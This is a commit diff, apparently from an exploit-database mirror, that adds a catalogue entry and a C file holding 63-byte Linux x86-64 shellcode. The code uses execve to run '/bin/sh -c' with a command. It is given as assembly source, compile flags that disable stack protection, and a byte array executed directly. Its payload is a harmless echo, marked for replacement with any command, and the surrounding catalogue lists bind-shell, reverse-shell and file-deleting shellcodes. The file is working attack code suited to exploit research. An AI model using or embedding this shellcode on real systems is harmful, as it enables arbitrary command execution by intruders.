Merge remote-tracking branch 'upstream/main'

Author: certcc-ghbot

files_shellcodes.csv

@@ -828,6 +828,7 @@ id,file,description,date_published,author,type,platform,size,date_added,date_upd
 46975,shellcodes/linux_x86-64/46975.c,"Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) Shellcode (131 bytes)",2019-06-07,"Aron Mihaljevic",,linux_x86-64,131,2019-06-07,2019-06-07,0,,,,,,
 46870,shellcodes/linux_x86-64/46870.c,"Linux/x86_64 - Delete File (test.txt) Shellcode (28 bytes)",2019-05-20,"Aron Mihaljevic",,linux_x86-64,28,2019-05-20,2019-05-20,0,,,,,,
 47292,shellcodes/linux_x86-64/47292.c,"Linux/x86_64 - execve(_/bin/sh_) + AVX2 XOR Decoder Shellcode (62 bytes)",2019-08-19,"Gonçalo Ribeiro",,linux_x86-64,62,2019-08-19,2021-01-15,0,,,,,,
+52395,shellcodes/linux_x86-64/52395.c,"Linux/x86_64 - execve(_/bin/sh__[_-c__cmd]_NULL) Arbitrary Command Execution Shellcode (63 bytes)",2025-08-04,"Muzaffer Umut ŞAHİN",,linux_x86-64,63,2025-08-04,2025-08-04,0,,,,,,
 47008,shellcodes/linux_x86-64/47008.c,"Linux/x86_64 - execve(/bin/sh) Shellcode (22 bytes)",2019-06-18,"Aron Mihaljevic",,linux_x86-64,22,2019-06-18,2019-06-18,0,,,,,,
 47025,shellcodes/linux_x86-64/47025.c,"Linux/x86_64 - Reverse (0.0.0.0:4444/TCP) Shell (/bin/sh) Shellcode",2019-06-24,"Aron Mihaljevic",,linux_x86-64,,2019-06-24,2019-06-27,0,,,,,,
 47291,shellcodes/linux_x86-64/47291.c,"Linux/x86_64 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Password (pass) Shellcode (120 bytes)",2019-08-19,"Gonçalo Ribeiro",,linux_x86-64,120,2019-08-19,2019-08-20,0,,,,,,

shellcodes/linux_x86-64/52395.c

@@ -0,0 +1,45 @@
+/*
+Title: Linux/x86_64 execve("/bin/sh",["-c",cmd],NULL) Arbitary Command Execution Shellcode (63 bytes)
+Author: Muzaffer Umut ŞAHİN
+Contact: [email protected]
+Date: 05.26.2025
+Tested on Kali Linux/x86_64
+
+--------------------------------------------------[CODE]--------------------------------------------------
+
+global _start
+
+_start:
+ xor rax,rax
+ xor rdx,rdx
+ mov rdi,0x68732f6e69622f2f ; //bin/sh
+ push rax
+ push rdi
+ mov rdi,rsp
+ push rax
+ push word 0x632d ; push "-c"
+ mov rsi,rsp
+ push rax
+ jmp cmd
+end:
+ push rsi
+ push rdi
+ mov rsi,rsp
+ mov al,59
+ syscall
+cmd:
+ call end
+ db "echo 'hell yeah!'" ; change this with your command
+
+gcc -z execstack -fno-stack-protector -o main main.c
+*/
+
+#include <stdio.h>
+#include <string.h>
+
+int main() {
+    unsigned char shellcode[] = "\x48\x31\xc0\x48\x31\xd2\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x57\x48\x89\xe7\x50\x66\x68\x2d\x63\x48\x89\xe6\x50\xeb\x09\x56\x57\x48\x89\xe6\xb0\x3b\x0f\x05\xe8\xf2\xff\xff\xff\x65\x63\x68\x6f\x20\x27\x68\x65\x6c\x6c\x20\x79\x65\x61\x68\x21\x27";
+    printf("Size of the shellcode is %d bytes\n", strlen(shellcode));
+    (*(void(*)())shellcode)();
+    return 0;
+}